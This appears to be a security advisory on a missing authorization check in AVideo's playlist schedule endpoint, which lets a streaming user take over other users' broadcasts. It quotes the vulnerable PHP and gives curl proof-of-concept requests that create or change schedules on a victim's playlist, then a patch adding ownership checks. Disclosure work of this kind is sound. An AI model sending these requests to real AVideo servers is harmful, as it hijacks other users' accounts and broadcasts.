AVideo: Missing Authorization in Playlist Schedule Creation Allows Cross-User Broadcast Hijacking

// add.json.php:14 — only checks if user CAN stream, not if they OWN the playlist
if (!User::canStream()) {
    forbiddenPage(__("You cannot livestream"));
}

// Line 18-19: attacker-controlled playlists_id is used directly
$o = new Playlists_schedules(@$_POST['id']);
$o->setPlaylists_id($_POST['playlists_id']);

public function save()
{
    if(empty($this->playlists_id)){
        _error_log("Playlists_schedules::save playlists_id is empty");
        return false;
    }
    // ...
    return parent::save();
}

// run.php:55 — uses playlist owner's ID
$pl = new PlayList($ps->playlists_id);
$response = Rebroadcaster::rebroadcastVideo(
    $ps->current_videos_id,
    $pl->getUsers_id(),  // <-- victim's user ID
    Playlists_schedules::getPlayListScheduledIndex($value['id']),
    $title
);

// PlayLists.php:55-68
static function canManagePlaylist($playlists_id)
{
    if (!User::isLogged()) return false;
    if (self::canManageAllPlaylists()) return true;
    $pl = new PlayList($playlists_id);
    if ($pl->getUsers_id() == User::getId()) return true;
    return false;
}

# Step 1: Authenticate as a normal user with streaming permission
# Obtain PHPSESSID via login

# Step 2: Create a broadcast schedule targeting another user's playlist
# Replace VICTIM_PLAYLIST_ID with the target playlist ID (enumerable via API)
curl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \
  -H 'Cookie: PHPSESSID=<attacker_session>' \
  -d 'playlists_id=<VICTIM_PLAYLIST_ID>&name=hijacked&start_datetime=2026-03-26+12:00:00&finish_datetime=2026-03-27+12:00:00&loop=1&repeat=d&parameters={}'

# Expected: {"error":false} — schedule created for victim's playlist
# The schedule will execute via run.php under the victim's user identity

# Step 3: Modify an existing schedule by providing its id
curl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \
  -H 'Cookie: PHPSESSID=<attacker_session>' \
  -d 'id=<EXISTING_SCHEDULE_ID>&playlists_id=<VICTIM_PLAYLIST_ID>&name=modified&start_datetime=2026-03-26+00:00:00&finish_datetime=2026-03-28+00:00:00&loop=1&repeat=d&parameters={}'

// After line 16 (canStream check), add:
$playlists_id = intval($_POST['playlists_id']);
if (!PlayLists::canManagePlaylist($playlists_id)) {
    forbiddenPage(__("You cannot manage this playlist"));
}

// When editing existing schedules, also verify ownership of the existing record:
if (!empty($_POST['id'])) {
    $existing = new Playlists_schedules(intval($_POST['id']));
    if (!PlayLists::canManagePlaylist($existing->getPlaylists_id())) {
        forbiddenPage(__("You cannot modify this schedule"));
    }
}